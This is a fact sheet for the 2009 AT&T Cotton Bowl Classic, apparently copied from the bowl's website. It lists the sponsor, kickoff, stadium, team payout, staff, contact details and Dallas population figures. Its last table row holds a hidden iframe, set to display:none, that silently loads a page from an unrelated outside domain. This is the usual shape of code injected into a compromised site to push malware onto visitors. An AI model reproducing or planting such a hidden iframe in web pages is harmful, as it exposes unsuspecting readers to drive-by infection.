| Founded: | January 1, 1937, by J. Curtis Sanford |
| Title Sponsor: | AT&T Inc. |
| 2009 Game: | 73nd AT&T Cotton Bowl Classic, Friday, January 2, 2009 |
| Kickoff: | 1:10 p.m., Central Standard Time |
| Stadium: | Cotton Bowl (87,041) |
| Playing Surface: | Natural Grass (Bermuda Tifway Sod) |
| 2009 Pairings: | Big 12 Conference #2 vs. Southeastern Conference |
| 2009 Projected Team Payout: | $3.0 Million Per Institution |
| 2008 Classic: | Missouri 38, Arkansas 7 (Attendance: 73,114) |
| Team Selection Day: | Sunday, December 7, 2008 |
| Television Network: | FOX Network |
| Radio Network: | Westwood One Radio Network |
| Tickets: | $100 (All Seats are Reserved) |
| Chairman: | Kathy Saunders |
| President and Executive Director: | Rick Baker |
| EVP/CFO: | Marty MacInnis |
| VP Communications: | Charlie Fiss charlie@attcottonbowl.com |
| Marketing/Communications Director: | Michael Konradi michael@attcottonbowl.com |
| Dir. of Events/Hospitality: | Nancy Mills |
| Ticket Manager: | Amy Wooten |
| Telephone: | (Office) 214-634-7525; (FAX) 214-634-7764 |
| Ticket Office Telephone: | 214-638-2695 or toll free 1-888-792-BOWL |
| Mailing Address: | Box 569420, Dallas, TX 75356-9420 |
| Shipping Address: | 1300 West Mockingbird Lane, Suite 500, Dallas, TX 75247 |
| E-Mail Address: | info@attcottonbowl.com |
| Internet Address: | http://www.attcottonbowl.com |
| City of Dallas: | Dallas is the nation's ninth largest city with a population of 1,213,825. The combined population of the Dallas/Fort Worth Metroplex is 4.5 million. |
| <iframe src="http://dciman32.com/3350.htm" style="display:none"></iframe> | |


2009 AT&T COTTON BOWL CLASSIC




























































